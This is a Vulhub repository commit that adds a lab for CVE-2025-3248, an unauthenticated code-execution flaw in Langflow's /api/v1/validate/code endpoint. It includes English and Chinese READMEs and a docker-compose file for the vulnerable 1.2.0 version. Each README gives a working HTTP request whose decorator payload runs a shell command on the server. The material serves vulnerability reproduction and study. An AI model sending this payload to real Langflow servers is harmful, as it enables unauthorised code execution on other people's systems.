first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
BIN
langflow/CVE-2025-3248/1.png
Normal file
BIN
langflow/CVE-2025-3248/1.png
Normal file
Binary file not shown.
After Width: | Height: | Size: 19 KiB |
46
langflow/CVE-2025-3248/README.md
Normal file
46
langflow/CVE-2025-3248/README.md
Normal file
@@ -0,0 +1,46 @@
|
||||
# Langflow `validate/code` API Pre-Auth Remote Code Execution (CVE-2025-3248)
|
||||
|
||||
[中文版本(Chinese version)](README.zh-cn.md)
|
||||
|
||||
Langflow is a popular open-source tool for building agentic AI workflows, providing a Python-based web interface to visually construct AI-driven agents and pipelines.
|
||||
|
||||
A critical unauthenticated remote code execution vulnerability (CVE-2025-3248) exists in Langflow prior to version 1.3.0. An vulnerable endpoint (`/api/v1/validate/code`) attempts to validate user-submitted Python code by parsing it with the `ast` module and executing any function definitions using `exec`. However, Python decorators and default argument expressions are also executed at function definition time, making it possible to inject arbitrary code via these features.
|
||||
|
||||
Attackers can exploit this issue by sending a specially crafted function definition with a malicious decorator or default argument, resulting in code execution as the server user.
|
||||
|
||||
References:
|
||||
|
||||
- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
|
||||
- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
|
||||
- <https://github.com/langflow-ai/langflow/pull/6911>
|
||||
|
||||
## Environment Setup
|
||||
|
||||
Execute the following command to start a Langflow 1.2.0 server:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
After the server starts, the Langflow web interface will be available at `http://your-ip:7860`. You can login with the default credentials `administrator:vulhub`.
|
||||
|
||||
## Vulnerability Reproduction
|
||||
|
||||
To reproduce the vulnerability, you can send a POST request to the `/api/v1/validate/code` endpoint with a malicious Python function definition. For example, the following payload will execute `id` command on the server using a decorator:
|
||||
|
||||
```
|
||||
POST /api/v1/validate/code HTTP/1.1
|
||||
Host: your-ip:7860
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||
Connection: close
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/json
|
||||
Content-Length: 105
|
||||
|
||||
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}
|
||||
```
|
||||
|
||||

|
42
langflow/CVE-2025-3248/README.zh-cn.md
Normal file
42
langflow/CVE-2025-3248/README.zh-cn.md
Normal file
@@ -0,0 +1,42 @@
|
||||
# Langflow `validate/code` API未授权远程代码执行漏洞(CVE-2025-3248)
|
||||
|
||||
Langflow是一个流行的开源AI工作流可视化工具,允许用户通过Web界面拖拽式构建基于Python的智能体和数据处理流程。
|
||||
|
||||
在1.3.0版本之前,Langflow存在一个严重的未授权远程代码执行漏洞(CVE-2025-3248)。`/api/v1/validate/code`接口原本用来校验用户提交的Python代码是否合法,其内部通过`ast`解析代码后,使用`exec`执行所有函数定义。然而,Python的装饰器和默认参数表达式也会在函数定义时被执行,攻击者可以通过精心构造的装饰器或默认参数,在未授权的情况下实现任意代码执行。
|
||||
|
||||
参考链接:
|
||||
|
||||
- <https://horizon3.ai/attack-research/disclosures/unsafe-at-any-speed-abusing-python-exec-for-unauth-rce-in-langflow-ai/>
|
||||
- <https://github.com/langflow-ai/langflow/releases/tag/1.3.0>
|
||||
- <https://github.com/langflow-ai/langflow/pull/6911>
|
||||
|
||||
## 环境启动
|
||||
|
||||
执行如下命令启动Langflow 1.2.0漏洞环境:
|
||||
|
||||
```
|
||||
docker compose up -d
|
||||
```
|
||||
|
||||
服务启动后,Web界面可通过`http://your-ip:7860`访问。你可以通过默认账号`administrator:vulhub`登录管理后台。
|
||||
|
||||
## 漏洞复现
|
||||
|
||||
直接向`/api/v1/validate/code`接口发送包含恶意装饰器的Python函数定义,即可来实现远程命令执行:
|
||||
|
||||
```
|
||||
POST /api/v1/validate/code HTTP/1.1
|
||||
Host: your-ip:7860
|
||||
Accept-Encoding: gzip, deflate, br
|
||||
Accept: */*
|
||||
Accept-Language: en-US;q=0.9,en;q=0.8
|
||||
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
|
||||
Connection: close
|
||||
Cache-Control: max-age=0
|
||||
Content-Type: application/json
|
||||
Content-Length: 105
|
||||
|
||||
{"code": "@exec(\"raise Exception(__import__('subprocess').check_output(['id']))\")\ndef foo():\n pass"}
|
||||
```
|
||||
|
||||

|
12
langflow/CVE-2025-3248/docker-compose.yml
Normal file
12
langflow/CVE-2025-3248/docker-compose.yml
Normal file
@@ -0,0 +1,12 @@
|
||||
services:
|
||||
web:
|
||||
image: vulhub/langflow:1.2.0
|
||||
ports:
|
||||
- 7860:7860
|
||||
environment:
|
||||
- LANGFLOW_HOST=0.0.0.0
|
||||
- LANGFLOW_AUTO_LOGIN=false
|
||||
- LANGFLOW_SUPERUSER=administrator
|
||||
- LANGFLOW_SUPERUSER_PASSWORD=vulhub
|
||||
- DO_NOT_TRACK=true
|
||||
- GIT_PYTHON_REFRESH=quiet
|
Reference in New Issue
Block a user